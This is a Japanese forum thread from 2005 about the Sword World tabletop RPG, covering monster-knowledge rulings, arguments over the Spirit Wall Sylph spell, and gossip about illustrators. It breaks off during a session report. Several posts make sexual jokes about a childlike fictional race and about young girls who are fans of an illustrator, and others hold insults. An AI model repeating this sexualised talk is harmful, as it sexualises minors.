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狼男と暴走絵師 ソードワールド112th

1 :NPCさん:2005/07/04(月) 19:05:09 ID:???
グループSNEの『ソード・ワールドRPG』について語りましょう。

(利用上の注意)
 公式厨も設定厨も初心者もベテランも老害もウェルカム♪
 プレイに関係あろうとなかろうと、一度に複数の話題が併走しようとキニシナイ!
 小説の話題やリプレイのキャラ萌えは、ラノベ板でしたほうが好レスがつきそうなヨカン!
 他のスレで話す方がいい話題は、お手数ですがそのスレへ移動して下さい。
 悪意ある書き込みには反応しないで下さい。

 ハウスルールは『ネタ振りする方』も『レスする方』も、
 文頭に【ハウス】【(ネタ名)】と入れてNGワード設定をしやすくしましょう。
 どんな風に使うのかどこは変えたくないのか、【目的】【前提】を書き込むと適切な助言を得られやすいはずです。
 投下されたハウスルールの【目的】が気にいらないときはスルーしましょう。
 『ハウスルールが嫌いな方』は、【ハウス】とかかれた書き込みは読まないか、
 専用ブラウザを導入しNGワードに設定しましょう。

 無の砂漠でアトンにメテオ ソードワールド111th
 http://game9.2ch.net/test/read.cgi/cgame/1120195773/

2 :NPCさん:2005/07/04(月) 19:06:11 ID:???
◎関連スレ(卓ゲ板)
ロードス・クリスタニア統合スレpart3
http://game9.2ch.net/test/read.cgi/cgame/1118743687/
ロードスコンパニオンをd20にコンバートするスレ
http://game9.2ch.net/test/read.cgi/cgame/1079154494/
■SNE総合スレッド その4■
http://game9.2ch.net/test/read.cgi/cgame/1119434564/
【コンバート】ハウスルール総合スレ【私家版2nd】
http://game9.2ch.net/test/read.cgi/cgame/1119273655/
【変換】TRPGシステム・コンバートルールスレ
http://game9.2ch.net/test/read.cgi/cgame/1090053193/

◎関連スレ(ラノベ板)
SW - ソードワールド 短編集 -その62-
http://book3.2ch.net/test/read.cgi/magazin/1119196776/
水野良 総合スレ40
http://book3.2ch.net/test/read.cgi/magazin/1117721511/

3 :NPCさん:2005/07/04(月) 19:06:34 ID:???
◎関連スレ(卓ゲ板)
ロードス・クリスタニア統合スレpart3
http://game9.2ch.net/test/read.cgi/cgame/1118743687/
ロードスコンパニオンをd20にコンバートするスレ
http://game9.2ch.net/test/read.cgi/cgame/1079154494/
■SNE総合スレッド その4■
http://game9.2ch.net/test/read.cgi/cgame/1119434564/
【コンバート】ハウスルール総合スレ【私家版2nd】
http://game9.2ch.net/test/read.cgi/cgame/1119273655/
【変換】TRPGシステム・コンバートルールスレ
http://game9.2ch.net/test/read.cgi/cgame/1090053193/

◎関連スレ(ラノベ板)
SW - ソードワールド 短編集 -その62-
http://book3.2ch.net/test/read.cgi/magazin/1119196776/
水野良 総合スレ40
http://book3.2ch.net/test/read.cgi/magazin/1117721511/

4 :NPCさん:2005/07/04(月) 19:07:08 ID:???
◎関連スレ
TRPG専門誌:Role&Roll 第7号
http://game9.2ch.net/test/read.cgi/cgame/1114780584/
スタンハンセンTRPG議論スレ 223
http://game9.2ch.net/test/read.cgi/cgame/1119803125/
リプレイスレ 27幕目
http://game9.2ch.net/test/read.cgi/cgame/1119502325/
清松みゆきは女だぞ!
http://game9.2ch.net/test/read.cgi/cgame/1019784375/
文庫型TRPGルールブックを語ろう
http://game9.2ch.net/test/read.cgi/cgame/1054307639/
富士見ドラゴンブックを語る
http://game9.2ch.net/test/read.cgi/cgame/1052225066/
夜の青い小鳩亭 inソードワールド 5号店(エロパロ板・21禁)
ttp://sakura03.bbspink.com/test/read.cgi/eroparo/1116533654/l50

5 :NPCさん:2005/07/04(月) 19:17:08 ID:???
スレタイの意味は?

6 :NPCさん:2005/07/04(月) 19:21:32 ID:???
乙一

7 :NPCさん:2005/07/04(月) 19:24:19 ID:???
乙。

8 :NPCさん:2005/07/04(月) 19:25:23 ID:???
>>1

そして前スレ>>950死ね

9 :NPCさん:2005/07/04(月) 19:28:26 ID:???
水野スレはこっちだな
 水野良 総合スレ41
http://book3.2ch.net/test/read.cgi/magazin/1120147668/

10 :NPCさん:2005/07/04(月) 19:30:47 ID:???
うむ、前すれ950は逝ってよし。

1さんオツカレ〜〜〜

11 :NPCさん:2005/07/04(月) 19:44:50 ID:???
狼男で思い出したのだけれど、
通常武器無効の敵を想定して、あらかじめ銀の矢を買っておくことが多いのだけれど(安いから)、
そもそも通常武器無効の敵がいることをキャラクターは知っていていいのだろうか?
セージ技能の知識判定で成功しなければ、そういう備えをすべきでないかな?
その場合、目標値はどのくらいが妥当だろう?

12 :NPCさん:2005/07/04(月) 19:49:16 ID:???
>>11
その程度、知ってても良いと思うぞ。
武器屋の店主が説明してくれるだろ。
そうじゃないと無意味に5倍もする様な代物は売れないぜ。

13 :NPCさん:2005/07/04(月) 19:49:18 ID:???
知ってていいと思うよ
まぁ知力の低いファイターやシーフあたりが知らないロールプレイをするのは自由だが

14 :NPCさん:2005/07/04(月) 19:53:07 ID:???
前提概念を知らないロールはやられるとマジ腹立つぞ。
「アンデッドって?」とかな。
ゲームを停滞させるだけ。

15 :NPCさん:2005/07/04(月) 19:58:59 ID:???
>14
>「アンデッドって?」とかな。
怪物知識の判定に失敗すると、現在の実戦で学んだ知識の使用も一切禁止、なんて言い出すGMがいるからな。
そこまでいかなくても、上手い手とか創意工夫なんかをマンチの名の下に不当弾圧するGMがいるんだ。
それぐらいのPLのささやかな逆襲ぐらい我慢しろや。
いやならGM仲間に啓蒙活動をして、その手のGMを根絶するように努力しなさい。

【馬鹿は煽ってみた】

16 :NPCさん:2005/07/04(月) 20:03:29 ID:???
いまいち

17 :NPCさん:2005/07/04(月) 20:04:10 ID:???
>12
つ[貴族の道楽]
いや、まあ普通は武器屋のオヤジが説明するだろうけどな。
「(PCが実際のロールプレイとして)聞かなかったから答えなかったよ。だから知らないね」というGMもいるかもしれんけどな。

18 :NPCさん:2005/07/04(月) 20:06:11 ID:???
>銀の矢
射撃は接敵状態ではできませんよ。
え? 飛び道具を持たない相手に、距離をとって射撃だって?
それはマンチで卑怯で非英雄的な行為だから、PCは「絶対できない」よ。

19 :NPCさん:2005/07/04(月) 20:08:01 ID:???
そもそもGMはプレイヤーを楽しませるのが仕事だ。
今回のゲームは楽しくなかった、とでも言ってやればいいんじゃない?
ゲームの中で逆襲して泥仕合になるのはいただけない。

20 :NPCさん:2005/07/04(月) 20:09:38 ID:???
つーかPLレベルで知らないふりしないと行動を却下されるかもしれないから正しいよな

21 :NPCさん:2005/07/04(月) 20:10:21 ID:???
>>18
「俺が奴の動きを止めるから、俺ごと射ろ!」
というのは英雄的ではないですかw?
一度やってみたいな・・・

22 :NPCさん:2005/07/04(月) 20:10:44 ID:???
というかこのスレにPLを楽しませる事のできるGMがいるとは思えない。
煽りとかではなくて。

23 :瑠璃絵:2005/07/04(月) 20:12:39 ID:lJfVKL8Y
GMの仕事とはPLを苦しめることだと思ってる人です私。


24 :NPCさん:2005/07/04(月) 20:16:05 ID:???
>>15
メタプレイとしてのSW

ルールブック読んでませんと宣言し、ルールについてはひたすら知らないふりをする、
戦闘中に行動の根拠を聞かれたら「なんとなく」「知らないけどとりあえずやって見ただけ」などと言い張る
これでナメクジにシェイド撃とうがライカンスロープ相手にいきなりエンチャントしようがOKだ!

25 :NPCさん:2005/07/04(月) 20:20:47 ID:???
>ルールについてはひたすら知らないふりをする、
語った瞬間、神々が雷を落とします。
「冒険者よ。それは越権行為です。ZAP!ZAP!ZAP!」

26 :NPCさん:2005/07/04(月) 20:24:12 ID:???
>20
「PLとして得た知識」ならそうだが、PCとしてプレイ中に得た知識も「判定に失敗したから」の一言で却下し、
推理とか創意工夫とかを一切禁じるDQNGMもたまにいる。
PC1「うお、なんだこの半人半狼のモンスター。俺達の攻撃が全然通じないぞ」
PC2「なら、エンチャントで打撃力アップさせたらどうだ?」
GM「狼男が通常武器無効なんてそのPCは知らないから、いかなる理由であっても武器強化呪文なんてキンチだったらキンチなんだーい。うぴぴぴぴ」

27 :NPCさん:2005/07/04(月) 20:26:25 ID:???
「大愚は大賢に通じる」

―“知っているのに知らんぷり” クードロロッド

28 :NPCさん:2005/07/04(月) 20:26:45 ID:???
>>26
すげーな。
俺の行動範囲にはそんな奴いなくて良かった。

29 :NPCさん:2005/07/04(月) 20:28:30 ID:???
強風の吹く中に出てったPCに、空気の壁との激突ダメージを与えたら文句を言われた。
風ってのは石壁や地面と同等の硬さがあるのが常識なのにな。

30 :NPCさん:2005/07/04(月) 20:33:51 ID:???
>>26
対処法
もう一度だけ「どうしても禁止か」と訊く。曲げないようならセッション中は一応従う。
次からそのGMの卓に行かない。

31 :NPCさん:2005/07/04(月) 20:34:19 ID:???
>>18
普通にできるし
てか、リプレイで結構やってたぞ

32 :前スレ836:2005/07/04(月) 20:44:09 ID:rSgyC42y
>そのパターンだと2回目の遭遇までに一回、
>2回目の遭遇時に一回のセージ判定のタイミングを作るのが、
>慣例だとは思うけど。

そうなんですか?再挑戦不可と書いてあったので、セージ技能が上がるまではダメだと思ってました。


33 :NPCさん:2005/07/04(月) 20:47:14 ID:???
>>29
それだけの風が吹いてたらな>風ってのは石壁や地面と同等の硬さがあるのが常識なのにな
物理的に地面との衝突と同等のダメージが当たる強風ってのは、自然にはまず起きんぞ。
魔法などでそんな状況が発生していたなら、説明をしない時点で困ったちゃん。

34 :NPCさん:2005/07/04(月) 20:49:15 ID:???
>>32
新たな情報が与えられた場合はOKってのが結構見かける処理だな。

35 :NPCさん:2005/07/04(月) 20:52:57 ID:???
>風ってのは石壁や地面と同等の硬さがあるのが常識なのにな

風(空気)じゃなくて水じゃないのか?空気が硬いってのは聞いたことない。
摩擦熱で燃え尽きるとかはあるけど。

36 :NPCさん:2005/07/04(月) 21:00:57 ID:???
SWガイドブックっていつ発売されますか?

37 :NPCさん:2005/07/04(月) 21:01:53 ID:???
さて、果たして我々は狼男と暴走絵師の話題だけで1スレ消費できるでしょうか。
タイムリミットはリプ10巻発売までね

38 :NPCさん:2005/07/04(月) 21:04:11 ID:???
>>36
俺の予想ではストブリと同時期に発売

39 :NPCさん:2005/07/04(月) 21:05:55 ID:???
特に説明はなくても常識で判断するSWでは、風は地面並の硬さを持っていますよ?

40 :NPCさん:2005/07/04(月) 21:07:35 ID:???
>>36
浜田よしかづも日記で言ってたな。
確か去年の12月ごろだっけ?イラストは仕上がったとか言ってたと思うが。

41 :NPCさん:2005/07/04(月) 21:07:46 ID:???
>31
むかーし、むかし、困ったちゃんスレで報告されたGMや、出番をレンジャーに取られてしまったファイターが、そんな事をいってレンジャーPCを迫害したんだよ。

42 :NPCさん:2005/07/04(月) 21:07:54 ID:???
では絵師の暴走貼っておきますね

ttp://okazugetterbbs.mine.nu/upper/src/1120462217837.jpg

43 :NPCさん:2005/07/04(月) 21:08:30 ID:???
>>40
えらい急いで仕上げたようだったのに本はいつまで経ってもできないなんて
世の中不条理だな。

44 :NPCさん:2005/07/04(月) 21:09:28 ID:???
>33
>魔法などでそんな状況が発生
ほらね。魔法の風ならそうでしょ?
でもって、るるぶに特に説明はなくても魔法の風をそう扱うなら、当然風の硬さは地面並なんだよ。

45 :NPCさん:2005/07/04(月) 21:10:04 ID:???
なにこいつ?

46 :NPCさん:2005/07/04(月) 21:12:56 ID:???
>風の硬さは地面並
馬鹿かコイツ?
地面は動かないけど、風は向かってくるんだぜ?
当然地面の2倍くらいの固さに決まってるだろ。
ちったあモノを考えろよ。

47 :NPCさん:2005/07/04(月) 21:13:39 ID:???
>>44
そうだね、文句を言うPLは困ったちゃんだね。
君はもうそういう人たちとは遊ばない方がいいと思うよ。

48 :NPCさん:2005/07/04(月) 21:14:09 ID:???
>>44
仮に吹いたとしても、そんなものが吹いたら、オラン(都市の方)も壊滅確定だがな。
で、どんなシナリオだったんだい?

49 :NPCさん:2005/07/04(月) 21:16:49 ID:???
マウナはええのお

50 :NPCさん:2005/07/04(月) 21:24:34 ID:???
>シナリオ
ハァ?
風は地面並の固さを持つってのは設定ですよ。

51 :NPCさん:2005/07/04(月) 21:25:43 ID:???
つまりシナリオやらずに設定ひけらかすためのプレイをしてたのか

52 :NPCさん:2005/07/04(月) 21:26:00 ID:???
エキューの変態度三割増じゃのうコミックは
クールなキャラだったはずなのに

53 :NPCさん:2005/07/04(月) 21:27:05 ID:???
>>42は捏造だな。

54 :NPCさん:2005/07/04(月) 21:27:24 ID:???
>クールなキャラ
つ「エルフなら誰でもいい」

55 :NPCさん:2005/07/04(月) 21:30:29 ID:???
台風時に出歩いても別に怪我しねぇけどな〜

56 :NPCさん:2005/07/04(月) 21:31:08 ID:???
色がやや褐色でもいい→耳がとがっていればなんでもいい↓
人間より小柄で貧乳でもいい↓
結論:グラスランナーもとがってるよ


57 :NPCさん:2005/07/04(月) 21:33:23 ID:???
>>42
これは、先日出たコミックに載ってんの?

58 :NPCさん:2005/07/04(月) 21:34:28 ID:???
>>57
コラ画像

59 :NPCさん:2005/07/04(月) 21:34:57 ID:???
風にぶつかっても怪我しないとかって喚く馬鹿どもへ、これが最後通告だ。
100スレ前を見たまえ。
そこではスピリットウォール・シルフに激突すれば、地面への激突の倍ダメージを受けるとある。
そんな事もわからないから、喪前らは厨房と呼ばれるんだ。

60 :NPCさん:2005/07/04(月) 21:36:12 ID:???
グラスランナーって小柄と言うより炉じゃん
狭くて入れられるわけないよ

61 :NPCさん:2005/07/04(月) 21:39:27 ID:???
>>32
条件が変わってるから、OKにする。
と言うのが多いですかね。
基準値が変わったから、
再挑戦可能って理由で、+1ぐらいのボーナスを与えて再挑戦させることも在るかな。

62 :NPCさん:2005/07/04(月) 21:45:09 ID:???
>60
短小ならOK。
あるいは、成人グラランは小さくても子供じゃないので、子供に比べて体長に対する男性器の比率が大きい。
よって、それを受け入れる女性器も人間のロリより大きい。

63 :NPCさん:2005/07/04(月) 21:48:27 ID:???
>スピリットウォール・シルフに激突すれば、地面への激突の倍ダメージを受けるとある。
これって本当?
どなたか専用ブラウザ使ってる人、教えてプリーズ。

64 :NPCさん:2005/07/04(月) 21:54:41 ID:???
>>63
高い所から落ちる時に落下地点に
スピリットウォール・シルフかければ相殺して無傷って言う説に対して
弾き飛ばされて状況が悪化するとか、カウンターで痛いのではって話じゃなかったか?

65 :NPCさん:2005/07/04(月) 21:54:59 ID:???
いっそセージ判定に失敗⇒有効な攻撃は全て禁止
をシナリオにしたら何か面白いかもな。

PCたちより2Lvくらい上の依頼人は博識で優秀なソーサラー
ところが呪いでセージ判定の成功率が激しく悪くなっており
しかも失敗すると有効でない戦いかたしか出来なくなる。

PC達は彼がのろいを解く冒険に同行。知性派は必死になって彼より先にセージ判定に成功するか
偵察とかして事前情報をあつめてソーサラーのセージ判定にボーナスを足させる。

それでも駄目な時は肉体派がひーひーいってがんばりながらすすんでいくとか。
ネタとしてかんがえればちょっと変わった冒険ができそうだな。

66 :NPCさん:2005/07/04(月) 21:57:18 ID:???
そこまでPL情報をシャットアウトしたいなら
パラノイアみたいにルールにクリアランスレベルでもつけにゃならんな。

67 :浅倉武粋ぃ:2005/07/04(月) 22:00:37 ID:???
苦行主義にもほどがあるだろw

68 :NPCさん:2005/07/04(月) 22:00:45 ID:???
>カウンターで痛い
風が地面並の強度を持ってるんならそうだろ。
さもなきゃ風で吹き上げられるんだから、地面落下より緩和されるだろ。
その後跳ね飛ばされるかどうかはGM次第だろ?

69 :NPCさん:2005/07/04(月) 22:06:03 ID:???
セージ判定に失敗する予定

70 :NPCさん:2005/07/04(月) 22:07:00 ID:???
スピリットウォール・シルフは、触れるか通り抜けようとすると抵抗を行って、
成功したらスルー、失敗すると跳ね飛ばされるって魔法だ。

その使い方だと抵抗しないだろうから跳ね飛ばされるのは確実だな

71 :NPCさん:2005/07/04(月) 22:08:53 ID:???
>スピリットウォール・シルフ
跳ね飛ばされる勢いってどのくらい?
強力なら、カタパルトとか砲台代わりに使ってみたいけど。

72 :NPCさん:2005/07/04(月) 22:08:59 ID:???
抵抗に成功すれば素通り失敗すれば
壁に対して正反対の方向に吹き飛ばされるから
地面落下より緩和されそうにないが

73 :NPCさん:2005/07/04(月) 22:11:27 ID:???
風だろ?
地面ならガツンと瞬間的に止まるけど、風なら少しめり込んで衝撃が時間的に分散されて(つまりクッションと同じ)その上で、風で押し戻されるから地面激突みたいな瞬間的な衝撃にはならんだろ?

74 :NPCさん:2005/07/04(月) 22:11:51 ID:???
ルールブック見た限りでは跳ね飛ばされてダメージを受けるかどうかは不明だ
Q&Aか何かにあるのかな?

75 :NPCさん:2005/07/04(月) 22:12:47 ID:???
>>71
トランポリンぐらいじゃね?

76 :NPCさん:2005/07/04(月) 22:13:08 ID:???
>72
いい加減にしろ、さっきから空気は地面並の強度とかってウゼェんだよ。
お前は風に吹かれたら直接空気からダメージを受けるのか?

77 :NPCさん:2005/07/04(月) 22:14:14 ID:???
>75
トランポリンなら、普通はダメージ緩和だろ?
それなのに、ダメージ増加ってのは地面以上に固いか、地面並の固さのものが反対方向にぶつかるかのどっちかだろ?

78 :72:2005/07/04(月) 22:15:02 ID:???
>>76
スピリットウォール・シルフについて言ってるだけで
別にただの風に対してダメージ受けるとは言ってないんだが

79 :NPCさん:2005/07/04(月) 22:16:25 ID:???
>78
はいはい、こっちに行きましょうね。
マンチキン板
http://jbbs.livedoor.jp/game/7298

80 :NPCさん:2005/07/04(月) 22:46:49 ID:???
>>78

>>29
> 強風の吹く中に出てったPCに、空気の壁との激突ダメージを与えたら文句を言われた。
> 風ってのは石壁や地面と同等の硬さがあるのが常識なのにな。

29さんとは別人かい?

81 :NPCさん:2005/07/04(月) 22:51:19 ID:???
空気の壁=スピリットウォール・シルフで、それに(落下で)突っ込んでったらダメージ、って事だから同一人物だろ?

82 :72:2005/07/04(月) 22:53:14 ID:???
29とは別人だ
ただの風でダメージ受けるとは思ってないぞ

83 :NPCさん:2005/07/04(月) 22:56:00 ID:???
>82
つまり、スピリットウォール・シルフはダメージ魔法
     ↓
説明もなしにダメージ扱いになる。
     ↓
SWは常識で判断する。
     ↓
常識で考えて、風でダメージ。

84 :NPCさん:2005/07/04(月) 22:58:26 ID:???
>>58
それ、素だぞ。

85 :NPCさん:2005/07/04(月) 22:58:54 ID:???
逆だろ。

常識で考えると、風でダメージを受けない。
      ↓
SWは常識で判断する。
      ↓
SWでは明記されない限り風でダメージを受けない。
      ↓
スピリットウォール・シルフに突っ込んでもダメージにはならない。

86 :NPCさん:2005/07/04(月) 23:00:01 ID:???
>84
コラ!
本物はマンコと乳首はしっかり隠しているぞ。

87 :NPCさん:2005/07/04(月) 23:06:10 ID:???
>>86
確かに触手の位置が少し違うな

88 :NPCさん:2005/07/04(月) 23:58:39 ID:???
ttp://www.imgup.org/file/iup50247.jpg
ttp://www.imgup.org/file/iup50246.jpg
ttp://www.imgup.org/file/iup49930.jpg
ハッケソ

89 :NPCさん:2005/07/05(火) 00:04:12 ID:???
>88
夜の青い小鳩亭 inソードワールド 5号店(エロパロ板・21禁)なら、全部見えるサイトがあるぜ。

90 :NPCさん:2005/07/05(火) 00:53:27 ID:???
今「金太の大冒険」をテレビでアイドルが歌ってた

91 :NPCさん:2005/07/05(火) 02:17:51 ID:???
金太負けるな
金太マカオに着く
金太マシなビル

とかのアレか。

92 :NPCさん:2005/07/05(火) 02:34:30 ID:???
つぼいノリオ氏の作曲ですな。
「極めつけお万の方」と同じ理由の(バカバカしい)放送禁止処分を受けた歌として名高い

…バードギルドにも「吟遊禁止歌」はあるのだろうか…

93 :NPCさん:2005/07/05(火) 03:07:21 ID:???
リウイの悪口

94 :NPCさん:2005/07/05(火) 03:30:06 ID:???
呪歌「自殺」「殺戮」

95 :NPCさん:2005/07/05(火) 03:43:08 ID:???
そういえば賢者の国からリウイ読み始めたから
初めはオーファンがどこにあるのか知らなくて
ずっとエレミアの真北にあるんだと思ってた

96 :NPCさん:2005/07/05(火) 03:48:17 ID:???
リウの大冒険

ある日リウが歩いていると〜♪
(中略)
小さな石が落ちていた〜♪
リウ石ね リウ石ね リウイシネ〜♪
(中略)
囲碁してるのを見た〜♪
リウ囲碁見 リウ囲碁見 リウイゴミ〜♪
(中略)
すごくイカスじゃない〜♪
リウイカス リウイカス リウイカス〜♪

97 :NPCさん:2005/07/05(火) 07:45:43 ID:???
まあどこにでもアンチはいるもんだよね

98 :NPCさん:2005/07/05(火) 08:36:37 ID:???
アンチって言うか、面白い方向にもって行けなかっただけじゃないか?

99 :NPCさん:2005/07/05(火) 08:40:36 ID:???
>>85に対する反論マダー?

100 :NPCさん:2005/07/05(火) 09:38:57 ID:???
>>99
反論も何も全面的に大賛成ですが。

101 :NPCさん:2005/07/05(火) 09:41:12 ID:???
>>94 タルキィーの滅びの言葉みたいだな

浜田は暴走というか、キャラ大事に描いてると思うんだがなあ
ロリ系のエロゲ絵師が初めて飛ばした(そして最後かもしれない)スマッシュヒットな訳で。

すじまんCGとか有るサイトに小学生の女の子のファンが付いてるのがスゲェ

102 :NPCさん:2005/07/05(火) 09:58:33 ID:???
>>101
>すじまんCGとか有るサイトに小学生の女の子のファンが付いてるのがスゲェ

ここで股間がリアクティヴ

103 :NPCさん:2005/07/05(火) 10:23:40 ID:???
あいや、小学生かどうかは確定してないが
小中学生っぽい絵が絵掲示板にカキコ多数。

そら18禁絵不可にするよな

104 :NPCさん:2005/07/05(火) 10:54:38 ID:???
>103
URLよろ♪

105 :NPCさん:2005/07/05(火) 11:09:33 ID:???
漏れもリアクティヴしたのでググった
members.jcom.home.ne.jp/yoshikadu/
ここかな

健全宣言わらたw

106 :NPCさん:2005/07/05(火) 11:33:30 ID:???
>>63
2chに書き込まれていることと実際のルールになんの関係もないがな

107 :NPCさん:2005/07/05(火) 12:26:10 ID:???
スピリットウォールシルフの
「抵抗に失敗すれば壁に対して正反対の方向に吹き飛ばされる」
とあるが、具体的に「吹き飛ばされて地面に落ちたり壁にぶつかったりしたとき」にダメージは入るのかな?
っていうかどれだけ飛ばされるのだろうか・・・

108 :NPCさん:2005/07/05(火) 12:53:30 ID:???
>107
GMが常識で判断するよ。

109 :NPCさん:2005/07/05(火) 13:03:49 ID:???
まあSWスレの歴史を知らない人もいるだろうから、おせっかいながら
説明させていただく。

昔、このスレにあるコテハンがいた(仮にMとする)。Mは、魔法の変わった
使い方として「スピリットウォール・シルフを落下時のクッションやトランポリン
代わりにつかえないだろうか?」と発言したんだな。

ところが、これに対してスレ住人はそろって猛反発。単なる否定じゃなく批判・
非難の嵐、Mに対する人格攻撃にすら及んだ。
否定理由も結論ありきのもので、「そんな使い方をするやつはマンチキン」
「明記されている以外の使用法は絶対にできない」「お前だから否定する」等から、
「風の壁はそんなに強くないのですり抜ける」「風の壁ではじき飛ばされるので
余計にダメージ受ける」(←理屈が正反対なのに団結している)なんてのさえ。
当時のSWスレのアンチキン具合は想像を絶するものだった。

で、だ。
>風ってのは石壁や地面と同等の硬さ
ってのは、昔のSWスレの屁理屈を使えばこうなりますよ……っていう反論、
厨返しならぬアンチキン返しってところだろう。
えらく時の経った報復だが。

110 :NPCさん:2005/07/05(火) 13:08:21 ID:???
補足:件のMというのが>>109

111 :NPCさん:2005/07/05(火) 13:13:13 ID:???
ただアイディア出しただけでそんなに叩かれるなんて、Mって人は相当嫌われてたのね

112 :NPCさん:2005/07/05(火) 13:27:49 ID:???
というかSNE系のスレを必ずグダグダにする荒らしだった。
今ではみんなでグダグダなので全員がMだとも言える。

113 :NPCさん:2005/07/05(火) 13:33:57 ID:???
グダグダが読めるのはSWスレだけですよ?

114 :NPCさん:2005/07/05(火) 13:36:15 ID:???
もっとお兄ちゃんのグダグダちょうだい!

115 :NPCさん:2005/07/05(火) 13:38:51 ID:???
なんの、N◎VAスレも負けていませんよ?

116 :NPCさん:2005/07/05(火) 13:40:23 ID:???
コテマンチは荒らしというより正確には‘厨’だな。
空気を(わざと)読まない、今じゃ珍しい高レベルの釣り師。

………まぁソスレじゃ釣り師がいなくとも、自縄自縛で己を
グダグダに釣り続けているようだが。

117 :NPCさん:2005/07/05(火) 13:43:15 ID:???
妹の願いに応えて改めて今「スピリットウォール・シルフを落下時の
クッション代わりにつかえないだろうか?」考えてみよう。

スピリットウォール・シルフの上に落下
→抵抗成功 そのまま落ちる。
→抵抗失敗 壁と反対方向への力が働くので一瞬落下と釣り合うが、
     この力は一度きりなので結局落ちる。

落下距離の軽減ぐらいは認めてやっても良いかな?



118 :NPCさん:2005/07/05(火) 14:19:08 ID:???
このスレの住人って、SWしかしない厨というレッテルを貼られているわけ?

119 :NPCさん:2005/07/05(火) 14:21:56 ID:???
むしろSWは実プレイしない人達だと思うが?

120 :NPCさん:2005/07/05(火) 14:34:40 ID:???
あ・・お兄ちゃんのグダグダ・・すごい・・こ、こんなの初めて

じゃあお返しに、落下地点にファイアボールでダメージ軽減してあげるね♪

121 :NPCさん:2005/07/05(火) 14:40:59 ID:???
さすがだ妹よ
だがファイアボールに「跳ね飛ばし」効果は無いんだ

122 :NPCさん:2005/07/05(火) 14:47:28 ID:???
わざとだよ♪(^−^)

123 :NPCさん:2005/07/05(火) 15:35:30 ID:???
>>118
ループしかしない厨というレッテルを貼られています。
レッテルつーか真実だが。

124 :NPCさん:2005/07/05(火) 15:38:02 ID:???
>>115
今現在のグダグダっぷりでは確かにN◎VAスレに負けている。

125 :NPCさん:2005/07/05(火) 15:39:29 ID:???
まあループする521年に生きている人々だし

126 :NPCさん:2005/07/05(火) 15:46:24 ID:???
しかしあちらは実プレイをしている、たとえその結果が悲劇だとしても

127 :NPCさん:2005/07/05(火) 15:55:44 ID:???
ここで負けてはいけないと思いつつグゥの音も出ない俺がいる

128 :NPCさん:2005/07/05(火) 16:03:26 ID:???
え・・?なんでこっちって実プレイしていないと決めつけられているわけ?
実プレイしてる奴に迷惑

129 :NPCさん:2005/07/05(火) 16:04:17 ID:???
では>128の実プレイレポどうぞ

130 :NPCさん:2005/07/05(火) 16:06:10 ID:???
待て。128は「実プレイしてる奴」に迷惑と言っているだけで
「自分が実プレイしている」とは一言も言っていない。

131 :NPCさん:2005/07/05(火) 16:08:31 ID:???
>>129
>128じゃないけど、レポってどういうこと書けば良い訳?
全く分からないんだけど。

とりあえず、ロマールの2つ目のシナリオをこの前の日曜にやったけど。

132 :NPCさん:2005/07/05(火) 16:10:02 ID:???
>>131
で、どうだった?

133 :NPCさん:2005/07/05(火) 16:11:06 ID:???
>ロマールの2つ目のシナリオ
俺が下読みで挫けたヤツだ

134 :NPCさん:2005/07/05(火) 16:13:16 ID:???
くわしく

135 :NPCさん:2005/07/05(火) 16:13:47 ID:???
っていうか、ココに書くとメンバーにすぐバレるしなぁ
むしろワザワザ書く理由が・・・
長いし、メンドイし・・・・

あぁ、そうか
「書いてみろ」「書け」とレスつけても内心「書いてクダサイ レポートマジキボンヌ」
なのか

それはそうとレポってどう書けばいいんだ?


136 :NPCさん:2005/07/05(火) 16:16:05 ID:???
実はプレイしてないからレポが書けませんってことね。

137 :NPCさん:2005/07/05(火) 16:21:26 ID:???
>>136
じゃあ、偉そうなクチ利いてるお前のレポからどぞ

138 :NPCさん:2005/07/05(火) 16:23:49 ID:???
良かった。実プレイしている子はいなかったんだね。

139 :NPCさん:2005/07/05(火) 16:25:34 ID:???
良くねえよ

140 :136とは別人:2005/07/05(火) 16:28:27 ID:???
ちと簡単に書くから待ってろ
ドッペルゲンガー+シティアドベンチャーなありきたりなシナリオだ

141 :NPCさん:2005/07/05(火) 16:36:40 ID:???
>>138
勘違いするな!ばかやろう!
実プレイしていると主張する者はいるが証明できないだけだ!

142 :NPCさん:2005/07/05(火) 16:39:28 ID:???
というか、楽しく遊んだときの様子を書けばいいと思うんだが。
それすらできないヤツがTRPGをプレイできるとは思えないしな。

143 :NPCさん:2005/07/05(火) 16:42:30 ID:???
>>142
2行目がなければいいやつかもしれないと思えたのに。

144 :NPCさん:2005/07/05(火) 16:43:52 ID:???
>>135
書くことが出来ないならとっとと消えろ。

145 :NPCさん:2005/07/05(火) 16:47:42 ID:???
>101
ロリ系エロゲー絵師だったのか…

146 :NPCさん:2005/07/05(火) 16:51:03 ID:???
何を今更、リウイの絵師だってエロ絵師じゃん

147 :NPCさん:2005/07/05(火) 16:55:40 ID:???
エロゲーなんてやらないから知らんよ。
バブリーズの絵師が「どじ」ってPNでエロ描いてたのは知ってた。

148 :NPCさん:2005/07/05(火) 17:11:03 ID:???
なー。140を正座して待ってるんじゃが…。

149 :NPCさん:2005/07/05(火) 17:27:46 ID:???
>148
>140を良く読め。既に完結してるぞ。w

150 :NPCさん:2005/07/05(火) 17:38:18 ID:???
ここは思い切ってブレードネットをトランポリン代わりに・・・

151 :NPCさん:2005/07/05(火) 17:42:19 ID:???
つまり実プレイしている奴はラノベ板のリプ厨に弾圧されるわけか

152 :136とは別人:2005/07/05(火) 17:45:03 ID:???
待たせたな(待ってるかしらんが) メモと日記見ながらだから穴あったりするだろうけど気にするな

まずメンバー 全員人間
T・ソーサラー6 セージ6 レンジャー3
R(男)・シャーマン7  セージ3
→俺 K・ファイター8 プリースト6
M・シーフ7 シャーマン3 バード2
R(女)・ファイター7 シャーマン4(銀鎧装備) セージ
って感じ。能力値は省く。面倒だから

まず最初がファンの街からスタート
酒場で別の冒険者が帰ってきたのをハケーン、その冒険者は鉄の箱を持っている。ぼろぼろな様子でどっかのダンジョンから出てきたような感じ
で、その冒険者の依頼主と思われる金持ちそうでデブで顔色の悪い年寄りの人物(壱)がその箱を受け取るのを目撃
3日後、貴族の一家が惨殺される その貴族と関係のある人物を調べ上げて行くと(壱)につながる。対立した家だったらしい。
ムチャクチャ怪しいと思って接触を試みる
しかしその壱さんも死体となり発見される、外傷が無い事や周りからの情報から病死と判断。その(壱)は周りからの評判は最低だったとのこと。このおっさんなんかやったんだろうな・・・とPL一同
その近くに壊れた珍しい装飾のされたツボが。調べてみるもセージ失敗。「落としてしまって割ったんだろうねー」と予想
